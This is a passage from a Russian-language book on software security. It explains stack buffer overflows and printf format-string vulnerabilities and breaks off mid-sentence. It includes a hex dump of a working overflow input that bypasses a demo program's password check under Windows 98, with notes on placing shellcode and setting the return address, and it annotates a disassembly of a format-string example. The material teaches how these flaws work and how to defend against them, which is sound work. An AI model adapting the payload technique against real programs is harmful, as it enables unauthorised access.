Одина из возможных реализаций атаки, работающей под управлением Windows 98, показана ниже (на диске, прилагаемом к книге, она содержится в файле “/SRC/buff.demo.98.key”):
· 00000000: 31 32 33 34 B8 01 02 03 ¦ 04 66 B9 81 10 FF E1 31 1234¬OO¦¦f¦Б> с1
· 00000010: E8 FD 63 0D 0A 31 32 33 ¦ 34 0D 0A ш¤cd01234d0
Четыре байта в начале строки - произвольны. Они необходимы лишь затем, чтобы сместить исполняемый код в непортящийся регион стека. Соответственно необходимо скорректировать адрес возврата, передавая управление не на начало буфера (которое окажется затерто), а на первый байт исполняемого кода.
Ниже приведен результат использования такой строки под управлением Windows 98. Это работает! (При перенаправлении ввода, вводимая строка не отображается на экране, потому имя и пароль отсутствуют):
· buff.demo.exe «buff.demo.98.key
· Buffer Overflows Demo
· Login:Passw:Password ok
Для предотвращения переполнения буфера программистам рекомендуют использовать функции, позволяющие явно указывать максимальное количество считываемых с клавиатуры символов. Но этот прием сам по себе еще не гарантирует неуязвимость приложения. Например, в примере, приведенном ниже, на первый взгляд все как будто бы нормально (на диске, прилагаемом к книге, этот пример содержится в файле “/SRC/buff.printf.c”):
Все строки, читаемые как с клавиатуры, так и из файла паролей, гарантированно влезают в отведенный им буфер и ни при каких обстоятельствах не могут выйти за его границы. При условии, что у злоумышленника нет доступа к файлу “buff.psw”, содержащего пароли пользователей [313], он никак не сможет обойти защиту [314]. Кажется, в десятке строк трудно ошибиться, и никаких дыр тут нет.
Психологическая инерция подводит и на этот раз. И, видимо, не только разработчиков, но, в том числе, и злоумышленников, поскольку тип атаки, описанный ниже, не получил большого распространения. Поэтому, многие из приложений, считающиеся защищенными, все же содержат грубые ошибки, позволяющие легко и незаметно проникнуть в систему.
Речь идет о «большой дыре» в функции “printf”, вернее дыра находится не в одной конкретной функции (тогда бы она могла бы быть безболезненно устранена), а в самом языке Си. Одни из его недостатков заключается в том, что функция не может определить сколько ей было передано параметров. Поэтому, функциям с переменным количеством аргументов, приходится каким-то образом передавать и число этих самых аргументов.
Функция “printf” использует для этой цели строку спецификаторов, и ее вызов может выглядеть, например, так: “printf(“Name: %s\nAge: %d\nIndex: %x\n”, amp;s[0],age,index)”. Количество спецификаторов должно быть равно количеству передаваемых функции переменных. Но что произойдет, если равновесие нарушится?
Возможно два варианта - переменных больше, чем спецификаторов и переменных меньше, чем спецификаторов. Пока количество спецификаторов не превышает количества переданных параметров, не происходит ничего интересного, поскольку, из стека аргументы удаляются не самой функцией, а вызывающим ее кодом (который уж наверняка знает, сколько аргументов было передано) разбалансировки стека не происходит и все работает нормально. Но если количество спецификаторов превышает количество требуемых аргументов, функция, пытаясь прочитать очередной аргумент, обратится к «чужим» данным! Конкретное поведение кода зависит от компилятора и содержимого стека на момент вызова функции “printf”.
Сказанное будет рассмотрено ниже на примере следующей программы (на диске, прилагаемом к книге, она находится в файле “/SRC/printf.bug”):
Если ее откомпилировать с помощью Microsoft Visual Studio 5.0-6.0, результат работы окажется следующий:
Программа выдала два числа, несмотря на то, что ей передавали всего одну переменную ‘a’. Каким же образом она сумела получить значение ‘b’? (а в том, что ‘777’ это действительно значение переменной ‘b’ сомневаться не приходится). Ответить на этот вопрос помогает дизассемблирование:
·.text:00401000 main proc near.text:00401000
·.text:00401000 var_8 = dword ptr -8
·.text:00401000 var_4 = dword ptr -4
·.text:00401000
·.text:00401000 push ebp
·.text:00401001 mov ebp, esp
·.text:00401001; Открывается кадр стека
·.text:00401003 sub esp, 8
·.text:00401003; Относительное значение esp равно 0 (условно)
·.text:00401006 mov [ebp+var_4], 666h
·.text:00401006 ; var_4 - это переменная a, которую компилятор расположил в стеке
·.text:0040100D mov [ebp+var_8], 777h
·.text:0040100D ; var_8 - это переменная b
·.text:00401014 mov eax, [ebp+var_4]
·.text:00401014 ; В регистр eax загружается значение переменной 'a’ для передачи его функции printf
·.text:00401017 push eax
·.text:00401017 ;В стек заносится значение переменной eax
·.text:00401018 push offset aXX; "%x %x\n"
·.text:00401018; В стек заносится указатель на строку спецификаторов
·.text:00401018; Содержимое стека на этот момент такого
·.text:00401018; +8 off aXX (‘%x %x’) (строка спецификаторов)
·.text:00401018; +4 var_4 (‘a’) (аргумент функции printf)
·.text:00401018; 0 var_8 (‘b’) (локальная переменная)
·.text:00401018; -4 var_4 (‘a’) (локальная переменная)
·.text:0040101D call printf
·.text:0040101D; Вызов функции printf
·.text:00401022 add esp, 8
·.text:00401022; Выталкивание аргументов функции из стека
·.text:00401025 mov esp, ebp
·.text:00401025; Закрытие кадра стека
·.text:00401027 pop ebp
·.text:00401028 retn
·.text:00401028 main endp
Итак, содержимое стека на момент вызова функции printf такого (смотри комментарии к дизассемблированному листингу) [315]:
· +8 off aXX (‘%x %x’) (строка спецификаторов)
· +4 var_4 (‘a’) (аргумент функции printf)
· 0 var_8 (‘b’) (локальная переменная)
· -4 var_4 (‘a’) (локальная переменная)
Но функция не знает, что ей передали всего один аргумент, - ведь строка спецификаторов требует вывести два (“%x %x). А поскольку аргументы в Си заносятся слева на право, самый левый аргумент расположен в стеке по наибольшему адресу. Спецификатор “%x” предписывает вывести машинное слово